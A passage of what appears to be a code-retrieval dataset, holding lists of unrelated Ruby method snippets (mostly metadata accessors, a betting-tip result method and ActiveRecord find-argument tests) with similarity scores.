"def metadata\n\t\tif @meta.nil?\n\t\t\t@meta = @store.metadata @metric_id\n\t\t\t@meta = @source.metaadd @meta\n\t\tend\n\t\treturn @meta\n\tend",
"def metadata\n @metadata ||= Mash.new\n end",
"def metadata\n return unless self[:metadata]\n\n self[:metadata].deep_symbolize_keys\n end",
"def metadata\n @metadata ||= lambda { read_metadata }.call\n end",
"def metadata\n @metadata ||= lambda { read_metadata }.call\n end",
"def metadata\n stream.metadata\n end",
"def metadata\n stream.metadata\n end",
"def metadata_options\n data[:metadata_options]\n end",
"def metadata\n Hash.from_xml(self[:metadata])['hash']\n end",
"def metadata\n api_get(\"$metadata\").body\n end",
"def metadata\n Metadata.new(self)\n end",
"def config_metadata\n Mash.new(\n encryption_format: config[:encryption_format],\n decryption_format: config[:decryption_format],\n encrypted_keys: encrypted_keys,\n encrypt: true,\n secret: secret\n )\n end",
"def metadata\n DatasetService.get_metadata dataset_id\n end",
"def get_metadata_source_info(ns)\n METADATA_FIELDS[ns][:info]\n end",
"def metadata\n self.class.metadata[__name__] || {}\n end",
"def extractMetadata()\n Logging.LogScriptInfo \"Extract metadata from #{@logFile}...\"\n\n # Get the meta datas from the json report\n metas = { }\n metas['build_date'] = @jsonData['build_date']\n metas['build_time'] = @jsonData['build_time']\n metas['git_revision'] = @jsonData['git_revision']\n metas['options'] = @jsonData['sim']['options']\n metas['overrides'] = @jsonData['sim']['overrides']\n metas['statistics'] = @jsonData['sim']['statistics']\n @jsonData['sim']['players'].each do |player|\n if player['name'] == 'Template'\n metas['player'] = player\n end\n end\n metas['profilesets_overrides'] = { }\n @jsonData['sim']['profilesets']['results'].each do |player|\n next unless player['overrides']\n metas['profilesets_overrides'][player['name']] = player['overrides']\n end\n\n # Timestamps\n metas['build_timestamp'] = DateTime.parse(@jsonData['build_date'] + ' ' + @jsonData['build_time'] + ' ' + Time.now.strftime('%:z')).to_time.to_i\n metas['result_timestamp'] = Time.now.to_i\n\n # Add additional data\n metas.merge!(@additionalMetadata)\n\n return metas\n end",
"def metadata\n metadata = {}\n @file.data.each { |key, value| metadata[key.to_sym] = value }\n\n metadata[:type] = @file.class.name.split('::')[1].downcase\n metadata[:url] = @file.url\n\n metadata[:slug] = slug\n\n metadata[:posted_at] = @file.date.to_time.to_i if @file.respond_to? :date\n metadata[:tags] = tags\n\n metadata\n end",
"def info\n MiGA::Dataset.INFO_FIELDS.map do |k|\n (k==\"name\") ? self.name : metadata[k.to_sym]\n end\n end",
"def metadata\n return @metadata if defined? @metadata\n\n @metadata = Henkei.read :metadata, data\n end",
"def metadata\n return @metadata if defined? @metadata\n\n @metadata = Henkei.read :metadata, data\n end",
"def metadata(key)\r\n Api.proj_context_get_database_metadata(self.context, key)\r\n end",
"def detailMetadata\n self.DC_DETAIL_META\n end",
"def metadata\r\n self.class.service_instance.get_blob_properties(path)\r\n end",
"def get_metadata\n get_state.map do |get_state_resp|\n metadata = get_state_resp.dig(:data, :identity_state, :metadata)\n if metadata\n metadata.transform_values { |val| Utils.parse_string_or_byte_val(val) }\n else\n metadata\n end\n end\n end",
"def metadata\n @metadata.tap do |h|\n # This represents the minimal set of attribute methods that should be available in every subclass.\n h[:mime_type] = mime_type if mime_type\n h[:filename] = filename if filename\n h[:digest] = digest if digest\n h[:size] = size if size\n h[:last_modified] = last_modified if last_modified\n end\n end",
"def metadata\n case object.package_type\n when 'composer'\n object.composer_metadatum\n when 'conan'\n object.conan_metadatum\n when 'maven'\n object.maven_metadatum\n when 'nuget'\n object.nuget_metadatum\n when 'pypi'\n object.pypi_metadatum\n else\n nil\n end\n end",
"def metadata\n if any? && metadata_schema\n response = api('request',\n :uri => \"hm://metadata/#{resource_name}s\",\n :batch => true,\n :payload => map {|resource| {:uri => resource.metadata_uri}},\n :response_schema => metadata_schema\n )\n response['result']\n else\n []\n end\n end",
"def metadata\n return \"\"\n end",
"def metadata\n @manifest_options[:metadata] || {}\n end",
"def output_metadata\n @output_metadata ||= {}\n end",
"def build_metadata_output\n metadata[:csv_file] = add_file_metadata\n metadata[:data_manipulations] = add_data_manipulations\n metadata[:csv_headers] = add_header_metadata\n # Add SQL data to metadata only if databases option is set.\n unless databases.nil?\n metadata[:sql] = add_sql_data\n end\n end",
"def own_meta_log\n meta_logs.first\n end",
"def config\n info['Config']\n end",
"def metadata\n { :attributes => @attributes, \n :qualified_attributes => @qualified_attributes, \n :collections => @collections, \n :flatten => @flatten, \n :namespaces => @namespaces, \n :types => @types }\n end",
"def get_exception_metadata(exception)\n metadata = {\n :backtrace => exception.backtrace,\n :backtrace_short => shorten_paths_in_backtrace(exception.backtrace)\n }\n message = \"#{exception.class.name}: #{exception.message}\"\n return message, metadata\n end",
"def metadata\n result = store.metadata_for_path(path).dup\n\n file_meta = store.metadata_for_file(source_file).dup\n result.deep_merge!(file_meta)\n\n local_meta = @local_metadata.dup\n result.deep_merge!(local_meta)\n\n result\n end",
"def metadata\n {\n Title: 'Maestrano Monthly Invoice',\n Author: 'Maestrano',\n Subject: 'Maestrano Monthly Invoice',\n Producer: 'Maestrano',\n CreationDate: Time.now\n }\n end",
"def meta\n @d[:meta]\n end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata_file\n [site.regenerator.metadata_file]\n end",
"def metadata\n msg['metadata']||{}\n end",
"def attributes\n self.class.config.full_config.map { |attribute| [attribute, send(attribute)] }.to_h\n end",
"def metadata(node = nil)\n line = node ? node.line : lineno\n col = node ? node.column : column\n\n return {:line => line, :column => col, :file => @file}\n end",
"def scaling_configuration_info\n data[:scaling_configuration_info]\n end",
"def log_metadata(**values)\n @_context[:_metadata] ||= {}\n @_context[:_metadata].merge!(values)\n end",
"def description\n metadata[:description]\n end",
"def get_meta_config\n get_config[:meta]\n end",
"def log_file\n @hash[\"LogFile\"]\n end",
"def metadata\n { \"name\" => name,\n \"description\" => description,\n \"license\" => license,\n \"source\" => datasource.title,\n \"url\" => datasource.url,\n \"publish_date\" => published_at,\n \"default\" => default_dim,\n \"units\" => {}, \n \"indvars\" => datacolumns.independent.map(&:name),\n \"depvars\" => datacolumns.dependent.map(&:name)\n }\n end",
"def metadata\n return @metadata if @metadata\n return nil unless value\n value.each do |source|\n begin\n if data = Puppet::FileServing::Metadata.indirection.find(source)\n @metadata = data\n @metadata.source = source\n break\n end\n rescue => detail\n fail detail, \"Could not retrieve file metadata for #{source}: #{detail}\"\n end\n end\n fail \"Could not retrieve information from environment #{Puppet[:environment]} source(s) #{value.join(\", \")}\" unless @metadata\n @metadata\n end",
"def metadata\n {\n line: \"#{method.upcase} #{uri}\",\n headers: headers,\n body: body,\n }.compact\n end",
"def configuration_object\n Datadog.configuration.tracing\n end",
"def metadata\n ESP::Metadata.for_alert(id)\n end",
"def configuration\n cfg = []\n @entries.each {|e| cfg.push(e.desc)}\n return(cfg)\n end",
"def metadata\n # TODO Move into {NRSER::Props::Metadata}?\n # \n unless NRSER::Props::Metadata.has_metadata? self\n instance_variable_set \\\n NRSER::Props::Metadata::VARIABLE_NAME,\n NRSER::Props::Metadata.new( self )\n end\n \n NRSER::Props::Metadata.metadata_for self\n end",
"def sink_metadata\n @sinks.keys.inject({}) do |sink_metadata, sink_name|\n raise \"Cannot sink undefined assembly '#{sink_name}'\" unless @outgoing_scopes[sink_name]\n sink_metadata[sink_name] = {\n :field_names => @outgoing_scopes[sink_name].values_fields.to_a,\n }\n sink_metadata\n end\n end",
"def meta\n data,stat = @zk.get(:path => ZK::Config::ServicePath + \"/#{@service_name}/#{@name}\")\n stat\n end",
"def metadata\n @metadata.clone.freeze\n end",
"def metadata_info\n @metadata = Chef::Cookbook::Metadata.new\n @metadata.from_file(File.join(@opts[:path], 'metadata.rb'))\n end",
"def metadata(id)\n id = self.to_id(id)\n io = self.grid.get(id)\n { filename: io.filename, content_type: io.content_type }\n rescue ::Mongo::GridFileNotFound\n nil\n end",
"def configuration\n self[:configuration]\n end",
"def cloud_desc\n MU::Cloud::AWS::Log.find(cloud_id: @cloud_id).values.first\n end",
"def get_queue_metadata(queue_name)\r\n execute(:head, queue_name, { :comp => 'metadata'}, :x_ms_version => '2009-09-19').headers\r\n end",
"def getMetadata\n\n\t\tString sXML = '<metadata xsi:type=\"ns2:CustomField\" xmlns:ns2=\"http://soap.sforce.com/2006/04/metadata\">'\n\t\t@@attributes.each do |attr|\n\n\t\t\tvalue = send attr\n\t\t\tif(value != nil)\n\t\t\t\tsXML+='<'+attr.to_s+'>'+value+'</'+attr.to_s+'>'\n\t\t\tend\n\t\tend\n\t\tsXML+='</metadata>'\n\t\t\n\t\treturn sXML\n\tend",
"def metadata\n data = oembed || {}\n attributes.each do |attribute|\n if attribute_value = self.send(attribute)\n data[attribute] ||= attribute_value\n end\n end\n data\n end",
"def metadata\n @metadata ||= (\n if md = /\\<\\!\\-\\-\\-(.*?)\\-{2,3}\\>\\s*\\Z/m.match(content)\n YAML.load(md[1])\n else\n {}\n end\n )\n end",
"def metadata=(value)\n @metadata = value\n end",
"def metadata=(value)\n @metadata = value\n end",
"def metadata\n return sync { \"#@name #@last #@first y\" }\n end",
"def metadata_file; end",
"def metadata_file; end",
"def metadata\n out_hash = {}.with_indifferent_access\n %i[doi upload_type publication_date title creators description access_right license\n keywords notes related_identifiers method locations communities].each do |meth|\n next if meth == 'doi' && @dataset_type != :data\n\n result = send(meth)\n out_hash[meth] = result unless result.blank?\n end\n out_hash\n end",
"def section_metadata\n [section_metadata_one, section_metadata_two, section_metadata_three]\n end",
"def log_configuration_information\n Mako.logger.info \"Configuration File: #{Mako.config.config_file}\"\n Mako.logger.info \"Theme: #{Mako.config.theme}\"\n Mako.logger.info \"Destination: #{Mako.config.destination}\"\n end",
"def meta_data # :nodoc:\n chk_conn\n @hibernate_session.connection.meta_data\n end"
] |
[
"0.7776346",
"0.7776346",
"0.7726193",
"0.7033487",
"0.68863666",
"0.6844524",
"0.6844524",
"0.68424433",
"0.6634418",
"0.6632295",
"0.6578957",
"0.65361327",
"0.6455556",
"0.6452643",
"0.64458096",
"0.64182603",
"0.6413668",
"0.6405686",
"0.6404224",
"0.63285494",
"0.63221115",
"0.6313817",
"0.62580866",
"0.6257892",
"0.6257892",
"0.62561893",
"0.62561893",
"0.62224126",
"0.62048656",
"0.6173152",
"0.6120343",
"0.610004",
"0.6090268",
"0.6073382",
"0.6072092",
"0.60579723",
"0.60524684",
"0.6018475",
"0.5990301",
"0.5990301",
"0.5968841",
"0.59644336",
"0.59637994",
"0.5948022",
"0.5892735",
"0.5840469",
"0.57940114",
"0.577569",
"0.5757225",
"0.57554233",
"0.5729501",
"0.5706319",
"0.56892645",
"0.56892544",
"0.568679",
"0.56846946",
"0.567803",
"0.56638116",
"0.5646677",
"0.5646677",
"0.5646677",
"0.5646677",
"0.5646677",
"0.5646677",
"0.5646677",
"0.5643368",
"0.5641534",
"0.5637143",
"0.5633979",
"0.5624128",
"0.56217855",
"0.5603716",
"0.5603245",
"0.5586032",
"0.55829555",
"0.55817044",
"0.55803823",
"0.55552655",
"0.5540871",
"0.5536144",
"0.5533505",
"0.55269974",
"0.5524852",
"0.55140084",
"0.55064064",
"0.54889846",
"0.5485456",
"0.54693615",
"0.546868",
"0.5431964",
"0.5419244",
"0.54151547",
"0.540305",
"0.540305",
"0.53949976",
"0.53889155",
"0.53889155",
"0.53869843",
"0.5378384",
"0.53675693",
"0.53667325"
] |
0.0
|
-1
|
Method to see whether all of the predictions on a tip are won or not and if they are, this will set the tip to won
|
def tip_won
@tip = Tip.find(params[:tip][:tip_id])
@prediction = []
@tip.predictions.each do |prediction|
@prediction.push(prediction.result.betWon)
end
if @prediction.all?
@tip.won = true
elsif @prediction.include? false
@tip.won = false
else
@tip.won = nil
end
@tip.save
render json: { data: @tip }.to_json
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def over?\n won? || tied?\n end",
"def predicting?\r\n @predict_state != :none\r\n end",
"def someone_won?\n !!winnning_marker\n end",
"def mark_winner\n winning_team = teams.reject{|team| team.goals < 10}.sort_by(&:goals).last\n winning_team.is_winner = true unless winning_team.nil?\n self.goals_count = teams.collect(&:goals).inject(&:+)\n\n if rating_pending? && !Game.before(self).with_rating_pending.exists?\n set_ratings\n end\n return true\n end",
"def set_won?\n if @games_won == 6 && @opponent.games_won < 5\n @sets_won += 1\n @games_won = 0\n @opponent.games_won = 0\n end\n if @games_won == 7 && @opponent.games_won < 7\n @sets_won += 1\n @games_won = 0\n @opponent.games_won = 0\n end\n end",
"def won?\n # Fill this in\n end",
"def won?\n safe_tiles = @grid.flatten.select { | tile | tile.value != BOMB }\n safe_tiles.all? { | tile | tile.revealed }\n end",
"def won_match?\n @sets_won == 3\n end",
"def match_won?\n if @sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n if @opponent.sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n end",
"def apicoplast_targeted?\n @points >= 4\n end",
"def won?\n\t\tallies = castaways.where(rival: false)\n\t\tpopular = $history.reload.most_popular\n\t\tpopular_names = popular.map { |p| p[0] }\n\t\tally_names = allies.map { |a| a.name }\n\t\tmissing_names = popular_names - ally_names\n\t\tmissing_names.length < 4\n\tend",
"def recalculate_predicted\n\n # reset predicted to actual standing\n users = User.all\n users.each do |u|\n if u.predicted != u.points\n u.predicted = u.points\n u.save\n end\n end\n\n # find the ongoing games and iterate over them\n games = Game.where(\"kickoff < ? AND final <> true\", Time.zone.now)\n games.each do |g|\n # get all tips for each game and interate of the tips\n tips = g.tips\n tips.each do |t|\n # update the predicted with the result form the ongoing game\n predict = calculate_tip_points(t)\n if predict != 0\n t.user.predicted += predict\n t.user.save\n end\n end\n end\n end",
"def won?\n end",
"def won?\n end",
"def has_predictions?\n patron?(tier: 2, before: STRIPE_MIGRATION_DATE) || patron?(tier: 4) || subscriptions.tier1.active.any? || admin? || self.class.stay_insideathon?\n end",
"def won?\n board.all_non_mines_cells_revealed?\n end",
"def should_eat?\n !stat_boosted?\n end",
"def correct\n self.gain_or_loss_percent = nil if gain_or_loss_percent != nil and prediction == 'fail'\n puts \"T*!*!*!*!*!*\"\n \n end",
"def check_if_won\n\t\tif @word_hidden == @answer_word\n\t\t\t@game_over = 1\n\t\tend\n\t\t@game_over\n\tend",
"def mark_win!\n # update point tables\n if @winner && @looser\n game.point_tables.create(winner_id: winner, looser_id: looser, started_at: game.started_at, ended_at: Time.zone.now, result: 'won')\n game.update_status(Game::WIN)\n end\n\n # reset board!\n reset_board!\n\n # reset winner and looser histories!\n @winner = false\n @looser = false\n\n true\n end",
"def won?\n total_score > 100 ? true : false\n end",
"def won?\n grid.flatten.all?(&:face_up)\n end",
"def near_team_winner?(team)\n unless completed?\n sets_won(team) + 1 == min_sets_to_play\n end\n end",
"def over?\n\t\tdraw? || won?\n\tend",
"def won?\n return total_score > 100 ? true : false\n end",
"def over?\n return draw? || won?\n end",
"def over?\n draw? || won?\n end",
"def over?\n draw? || won?\n end",
"def won?\n win = false\n win = true if total_score >= 100\n return win\n end",
"def check_for_tautology\n counter = 0\n random_decision = Decider.new(@propositional_statement, @random_truth_values).evaluate_expression\n if random_decision == false\n what_simulator_tells = \"False\"\n elsif random_decision == true\n @possible_truth_tables.each do |possible_truth_table|\n counter += 1\n decision = Decider.new(@propositional_statement, possible_truth_table).evaluate_expression\n if decision == false\n what_simulator_tells = \"False\"\n break\n elsif decision == true && counter == @max_truth_tables\n what_simulator_tells = \"True\"\n break\n end\n end\n end\n what_simulator_tells\n end",
"def unlabeled?() @positive.nil? end",
"def predictor\n w = perceptron\n\n train_data = normalize_data(\"votes-test.csv\")\n actual_values = train_data.map { |x| x.last }\n predictions = train_data.map { |x| activation_output(x.first, w) }\n\n wrong = (0..actual_values.length-1).select { |i| actual_values[i] != predictions[i] }.count\n correct = actual_values.length - wrong\n\n p \"CORRECT: #{correct}\"\n p \"WRONG: #{wrong}\"\nend",
"def is_over?\n ((winning_move?) || (spots_filled == 9)) ? (return true) : (return false)\n end",
"def over?\n won? || draw?\n end",
"def over?\n won? || draw?\n end",
"def over?\n if won? != false && won? != nil || draw? == true\n return true\n else\n return false\n end\n end",
"def winner?\n not @winners[@pick].nil?\n end",
"def pbAllFainted\n return $Trainer.ablePokemonCount==0\nend",
"def over?\n if draw? || won?\n true\n else \n false\n end\nend",
"def override_probability_if_won_or_lost\n unless self.stage.blank?\n self.probability = 100 if self.stage.won?\n self.probability = 0 if self.stage.lost?\n end\n end",
"def over? #\n draw? || won?\nend",
"def over?\n draw? || won?\n end",
"def over?\n\t\tdraw? || won? ? true : false\n\tend",
"def over?\n draw? || won?\n end",
"def set_determine_set_winner()\n @score_count.set_determine_set_winner()\n end",
"def advantage?\n @points > @opponent.points && @points > 3\n end",
"def over?\r\n won? || draw?\r\n end",
"def start_of_tie?\n true\n end",
"def won?\n won_checker\n end",
"def over?\n won? || draw?\n end",
"def winning?(triplet)\n win = triplet.all? {|spot| @board[spot]==\"X\"}\n if win\n return win\n end\n win = triplet.all? {|spot| @board[spot]==\"O\"}\n if win\n return win\n end\n return false\n end",
"def record_won_ball!\n @points += 1\n win?\n end",
"def staying_pick_wins?(pick)\n\t\twon?(pick)\n\tend",
"def win_by_default(pokemon_atk, pokemon_def)\n if type_advantage_calculator(pokemon_atk.types[:type1], pokemon_def.types[:type1]).zero?\n pokemon_def\n else\n false\n end\n end",
"def over?\n if draw? == true or won? != false\n return true\n end\n end",
"def us_troops_available\n us_troop < coin_control_excess ? us_troop : coin_control_excess\n end",
"def over?\n self.draw? || self.won? != false\n end",
"def estimated?\n (self.story_type == 'feature') && self.story_points\n end",
"def over?\n self.won? || self.draw?\n end",
"def postponed?\n @postponed\n end",
"def set_hotness!\n preferred_weight = self.preferred ? PREFERRED_MAGNITUDE : 0\n vote_weight = vote_tally + preferred_weight\n\n newness = self.created_at.to_f || Time.now.to_f\n sign = vote_weight < 0 ? -1 : 1\n upvote_magnitude = [ vote_weight.abs, 1.1 ].max\n order = Math.log upvote_magnitude, 10\n\n self.hotness = sign * order + newness / 45000\n end",
"def active?\n points_awarded.present?\n end",
"def record_won_set!\n reset_points\n reset_game_points \n \n @set_points +=1\n end",
"def won?\n @game.started? && !detectives_won? && detectives_cannot_move?\n end",
"def over?\n won? || draw?;\n end",
"def over?\n draw? || won? ? true : false\n end",
"def over?\n #require 'pry'\n #binding.pry\n if won? || draw?\n true\n end\n end",
"def important?\n !@story_points.nil? && @story_points > 2\n end",
"def over? \n if draw?\n return true\n elsif won?\n return true\n end\n end",
"def advantage?\n @points == @opponent.points + 1\n end",
"def advantage?\n @points == @opponent.points + 1\n end",
"def is_game_over?; won_by?(:hunter) || won_by?(:prey) end",
"def someone_won_round?\r\n !!winner\r\n end",
"def won?\n #won?: If the player has over 100 points, returns true, otherwise returns false\n if total_score > 100\n return true\n else\n return false\n end\n end",
"def won?\n total_score\n #check to see total_score_instance > 100 - if it is, return true, else return false\n if @total_score_instance > 100\n return true\n else\n return false\n end\n end",
"def over?\n if draw? == true || won? != false\n return true\n end\nend",
"def fifteen?\n @points == 1\n end",
"def won?\n if @board.last == @board.last.sort && @board.last.length == @towers\n return true\n else\n return false\n end\n end",
"def has_any_winner?\n self.winner_bid.positive?\n end",
"def win?\n milestones.each do |mile|\n return false unless mile.status == 'Aprobado'\n end\n true\n end",
"def over?\r\n won? || draw? ? true : false\r\n end",
"def won?\n if @scores_array.reduce(0, :+) >= WINNING_SCORE \n \t\t\"You win!\"\n \t\treturn true\n \telse\n \"You haven't won yet.\"\n return false \n end\n end",
"def over?\n won? || full? || draw?\n end",
"def trend_setter?\n self == self.round.first_entry\n end",
"def is_in_progress?\n self.id == self.device.trips.last.id && self.points.last.event != Point::IGNITION_OFF && (Time.now - self.points.last.occurred_at < Device::TRIP_REPORT_CUTOFF)\n end",
"def over?\n if(!!won?)\n return true\n end\n if(draw?)\n return true\n end\n return false\n end",
"def sniper_targets\n potential_sniper_targets.select do |planet|\n # Predict future accounting for all current fleets\n max_travel_time = @pw.fleets_underway_to(planet).map{|fleet| fleet.turns_remaining}.max || 0\n predictions = predict_future_population(planet, max_travel_time + 1)\n\n # Only go for planets that the enemy will eventually win\n next unless predictions.last.enemy?\n\n next if planet.enemy?\n if planet.mine?\n # Recapture\n elsif planet.enemy?\n # Don't go for planets that are getting reinforced. Don't fight the enemy head-on.\n next\n else # neutral\n # Snipe\n end\n true\n end\n end",
"def over?\n won? || full? || draw?\n end",
"def record_won_ball!\n # Check to see if a win-point results in a win-game outcome. \n if @points > 3 && @points >= @opponent.points + 2\n @game_points += 1\n \n record_won_game!\n reset_points\n\n else\n @points +=1 \n end \n end",
"def winning?(board, triplet)\n winner = triplet.all? {|spot| board[spot]==\"X\"}\n if winner\n return winner\n end\n winner = triplet.all? {|spot| board[spot]==\"O\"}\n if winner\n return winner\n end\n return false\nend",
"def winning?(board, triplet)\n winner = triplet.all? {|spot| board[spot]==\"X\"}\n if winner\n return winner\n end\n winner = triplet.all? {|spot| board[spot]==\"O\"}\n if winner\n return winner\n end\n return false\nend",
"def over?\n won? || draw? || full?\n end",
"def won_set\n if @opponent.games_won == 6 && @games_won == 7\n @games_won = 0\n @sets_won += 1\n elsif @games_won > 4 && @games_won > @opponent.games_won + 1\n @games_won = 0\n @sets_won += 1\n end\n\n @matches_won += 1 if won_match?\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won = won?()\n draw = draw?()\n # Due to the won? method never explicitly returning a true value,\n # the program must instead check if it isn't false.\n if draw == true || won != false\n return true\n else\n return false\n end\n end",
"def won?\n\t\twon = false\n\t\twon = true if (ended? && @guesses > 0)\n\t\twon\n\tend",
"def predict_weather\n sunshine = [true, false].sample\n if sunshine\n puts \"Today's weather will be sunny!\"\n else\n puts \"Today's weather will be cloudy!\"\n end\nend",
"def has_rained?\n amount_of_rain > 0.5\n end"
] |
[
"0.6044951",
"0.5992322",
"0.59607303",
"0.59495956",
"0.57922506",
"0.57332104",
"0.57151306",
"0.5704553",
"0.5680663",
"0.5662677",
"0.55470484",
"0.5523279",
"0.55175656",
"0.55175656",
"0.54338604",
"0.54236966",
"0.5413962",
"0.54102594",
"0.5410117",
"0.53982127",
"0.53894234",
"0.53863114",
"0.5372",
"0.5369072",
"0.5364512",
"0.53580135",
"0.5356919",
"0.5356919",
"0.53548276",
"0.5341922",
"0.53283644",
"0.5315602",
"0.5315328",
"0.5303597",
"0.5303597",
"0.5303278",
"0.53004444",
"0.5300399",
"0.52983797",
"0.5295844",
"0.52949536",
"0.5293627",
"0.5289132",
"0.52852553",
"0.5281075",
"0.5278172",
"0.5277988",
"0.5274171",
"0.5272126",
"0.52616143",
"0.52485526",
"0.52481496",
"0.5236786",
"0.52327865",
"0.5231584",
"0.5230739",
"0.5230075",
"0.52209395",
"0.52199745",
"0.5218669",
"0.5217659",
"0.5217334",
"0.5210583",
"0.52080065",
"0.5196422",
"0.5190072",
"0.51838964",
"0.5176523",
"0.51697993",
"0.5169679",
"0.5169679",
"0.5167141",
"0.5166142",
"0.516391",
"0.5162568",
"0.5161556",
"0.5158348",
"0.51484364",
"0.5145811",
"0.5144125",
"0.51365185",
"0.5136467",
"0.51296467",
"0.5127093",
"0.51270664",
"0.5125712",
"0.5125158",
"0.51227087",
"0.5120499",
"0.51200694",
"0.51200694",
"0.51105356",
"0.5107513",
"0.5106465",
"0.5106465",
"0.5106465",
"0.50983983",
"0.5078225",
"0.5074503",
"0.50715154"
] |
0.7335609
|
0
|
Test the creation of the find args count only
|
def test_count_find_articles_for_user_args_with_feed
feed = UserFeed.find(5) #New York Times
args = VwArticlesForUser.find_articles_for_user_args(true, feed, :feed, 3, nil, nil)
assert args[:select] == "DISTINCT id"
assert args[:conditions] == ["feed_id = ? AND (article_user_id = ? OR article_user_id IS NULL)", 4, 3]
assert args[:order] == "pub_date DESC"
assert args[:limit].blank?
assert args[:offset].blank?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find(args, mode); end",
"def test_find_count\n assert_equal(6, @coll.find().limit(2).count())\n end",
"def test_args_check_less\n\t\targs_checker = ArgsChecker::new\n\t\tarr = []\n\t\tassert_raises(\"I need one number bud, try again\") { args_checker.check_args arr }\n\tend",
"def test_check_num_args_valid\n args = CheckNumArgs.new\n assert_equal true, args.check_args([1,1,1])\n end",
"def test_positive\r\n args = Args.new\r\n assert_equal false, args.check_args(6)\r\n end",
"def test_check_num_args_string1\n args = CheckNumArgs.new\n assert_equal false, args.check_args(['HELLO'])\n end",
"def test_check_num_args_valid2\n args = CheckNumArgs.new\n args.check_args([1,1,1])\n assert_kind_of Integer, 1\n end",
"def how_many_args(*args)\n args.count\nend",
"def test_check_num_args_invalid3\n args = CheckNumArgs.new\n assert_equal false, args.check_args([1, 2])\n end",
"def test_galleryphotos_find\n assert_not_nil @rdigg.galleryphotos.find(:count => 3)\n end",
"def how_many_args *args\n args.count\nend",
"def test_positive\n args = Arguments.new\n assert_equal false, args.check_args(5)\n end",
"def test_check_num_args_string3\n args = CheckNumArgs.new\n assert_equal false, args.check_args(['HELLO', 'THERE', 'KENOBI'])\n end",
"def test_user_find_all\n assert_not_nil @rdigg.user.find_all(:count => 3)\n end",
"def how_many_args(*args)\n args.count\n end",
"def size(*args); end",
"def countUnknown _obj, _args\n \"_obj countUnknown _args;\" \n end",
"def test_stories_find_all\n assert_not_nil @rdigg.stories.find_all(:count => 3)\n end",
"def test_zero_prospectors\n\t\tassert check_args([1, 0])\n\tend",
"def test_check_num_args_string2\n args = CheckNumArgs.new\n assert_equal false, args.check_args(['HELLO', 'THERE'])\n end",
"def test_three_ints\n args = Arguments.new\n assert_equal true, args.check_args([1, 2, 3])\n end",
"def count=(_arg0); end",
"def sizeOf _args\n \"sizeOf _args;\" \n end",
"def test_check_num_args_invalid2\n args = CheckNumArgs.new\n assert_equal false, args.check_args([1])\n end",
"def test_zero\r\n args = Args.new\r\n assert_equal false, args.check_args(0)\r\n end",
"def check_arguments_count(input_params)\n return if input_params.count >= declared_params.count\n raise ArgumentError, \"#{declared_params.count} parameters expected.\"\n end",
"def how_many_args(*args)\n\targs.length\nend",
"def length; @args.length end",
"def test_arg_check_prospectors_valid\n ret = arg_check_prospectors '1'\n assert_equal ret, 0\n end",
"def test_arg_check_3string\n \t@args = ArgumentCheck.new\n \tassert_equal(false, @args.arg_check(['poop', 'poopy', 'poopypoop']))\n end",
"def test_check_num_args_invalid_zero\n args = CheckNumArgs.new\n assert_equal false, args.check_args([0,0,0])\n end",
"def test_it_should_take_no_arguments\n assert_equal(0, cli_class.instance_method(:generate).arity)\n end",
"def size _args\n \"size _args;\" \n end",
"def count(opts={})\n all(opts).size\n end",
"def test_initialize_prospectors\n assert_equal initialize_prospectors(5).count, 5\n end",
"def pattern_find_with_conditions_and_params_or_limit\n <<-EOT\n SendWithArguments<\n arguments = ActualArguments<\n array = [\n any+,\n HashLiteral<\n array = [\n any{even},\n SymbolLiteral<value = :limit | :conditions>,\n SendWithArguments<\n name = :[],\n receiver = Send<name = :params | :session>\n >,\n any{even}\n ]\n >\n ]\n >,\n name = :find>\n EOT\n end",
"def test_abnormal_usage\n test_args = [-9, -9, -9]\n args = Args.new test_args\n\n args.stub(:exit, 1) do\n assert_output(\"Usage:\\nruby ruby_rush.rb *seed* *num_prospectors* *num_turns\\n*seed* should be an integer\\n*num_prospectors* should be a non-negative integer\\n*num_turns* should be a non-negative integer\\n\"){args.validate_args}\n end\n end",
"def test_arg_check_oneArg\n \t@args = ArgumentCheck.new\n \tassert_equal(true, @args.arg_check([1]))\n end",
"def test_truthy_count(tests, method, options = {})\n tests.each do |test|\n matches = Ramparts.send(method, test[:text], options)\n expect(matches)\n .to eq(test[:matches].length),\n \"Expected #{test[:matches].length}, got #{matches} for '#{test[:text]}'\"\n end\nend",
"def my_count(args = nil)\n count = 0\n my_each do |item|\n if block_given?\n count += 1 if yield(item)\n elsif args\n count += 1 if item == args\n else\n count = length\n end\n end\n count\n end",
"def count(*_args)\n to_a.size\n end",
"def test_stories_find_hot\n assert_not_nil @rdigg.stories.find_hot(:count => 3)\n end",
"def test_zero\n args = Arguments.new\n assert_equal false, args.check_args(0)\n end",
"def test_falsy_count(tests, method, options = {})\n tests.each do |test|\n matches = Ramparts.send(method, test, options)\n expect(matches).to eq(0), \"Expected empty array, got #{matches} for '#{test}'\"\n end\nend",
"def how_many_args(*args)\n args.length\nend",
"def test_stories_find_diggs\n assert_not_nil @rdigg.stories.find_diggs(:count => 3)\n end",
"def validate_args_count(expected, got)\n if (expected.is_a?(Numeric) and expected != got) or\n (expected.is_a?(Range) and !(expected === got))\n raise ArgumentError, \"wrong number of arguments for '#{name}' (#{got} for #{expected})\"\n end\n end",
"def findEmptyPositionReady _obj, _args\n \"_obj findEmptyPositionReady _args;\" \n end",
"def test_spawn_prospectors\r\n \ttest_group = ProspectorGroup.new\r\n \tassert_equal 12 , test_group.spawn_prospectors(12).size\r\n end",
"def __find_args__\n self\n end",
"def count(*rest) end",
"def check_parameter_count!( num )\n expected = @stmt_api.parameter_count\n if num != expected then \n raise Amalgalite::Error, \"#{sql} has #{expected} parameters, but #{num} were passed to bind.\"\n end\n return expected\n end",
"def countFriendly _obj, _args\n \"_obj countFriendly _args;\" \n end",
"def test_arg_check_seed_valid\n ret = arg_check_seed '1'\n assert_equal ret, 0\n end",
